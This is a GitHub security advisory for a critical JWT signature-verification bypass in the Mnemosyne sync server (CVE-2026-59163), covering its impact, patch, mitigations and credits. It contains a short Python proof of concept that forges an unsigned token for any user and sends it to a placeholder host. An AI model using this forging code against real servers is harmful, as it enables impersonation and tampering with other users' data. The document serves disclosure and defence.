Skip to content

Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass

Critical severity GitHub Reviewed Published Jun 22, 2026 in mnemosyne-oss/mnemosyne • Updated Sep 18, 2026

Package

pip mnemosyne-memory (pip)

Affected versions

<= 3.10.0

Patched versions

3.10.1

Description

Summary

The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.

Severity: Critical

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1

Assumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.

Affected versions

All mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.

Patched versions

v3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)


Description

The sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.

The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:

  • Constant-time signature comparison via hmac.compare_digest
  • Strict alg: HS256 check, rejecting none and other algorithms
  • UTC-aware exp validation with leeway
  • Loud errors with specific failure reasons
  • Type validation of decoded payload before use

Impact

An attacker with network access to the sync server can:

  • Forge a JWT for any user_id without knowing the secret
  • Authenticate as that user to /sync/status, /sync/push, and /sync/pull
  • Read the victim's sync state
  • Push malicious sync state to corrupt the victim's local database
  • Pivot within a shared deployment (multi-user sync server)

Confidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability.

Reproduction

import base64
import json
import requests

# Forge a JWT for any user. No secret required.
def forge_jwt(user_id):
    header = base64.urlsafe_b64encode(
        json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
    ).rstrip(b"=")
    payload = base64.urlsafe_b64encode(
        json.dumps({"user_id": user_id, "exp": 9999999999}).encode()
    ).rstrip(b"=")
    sig = b""
    return f"{header.decode()}.{payload.decode()}."

r = requests.get(
    "https://target.example.com/sync/status",
    headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"},
)
print(r.status_code, r.json())

A 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.

Mitigation

Upgrade to v3.10.1.

For users who cannot upgrade immediately:

  • Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable.
  • The vulnerability is not exploitable against an unreachable endpoint.

Workarounds

None. The patch is required to restore authentication integrity.

Credits

  • Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window.
  • Fix: Denis Hache

Timeline

  • 2026-06-13: Initial report received from Denis via private channel.

References

@AxDSan AxDSan published to mnemosyne-oss/mnemosyne Jun 22, 2026
Published to the GitHub Advisory Database Sep 18, 2026
Reviewed Sep 18, 2026
Last updated Sep 18, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

EPSS score

Weaknesses

Improper Verification of Cryptographic Signature

The product does not verify, or incorrectly verifies, the cryptographic signature for data. Learn more on MITRE.

CVE ID

CVE-2026-59163

GHSA ID

GHSA-xcw4-53cc-hv32

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.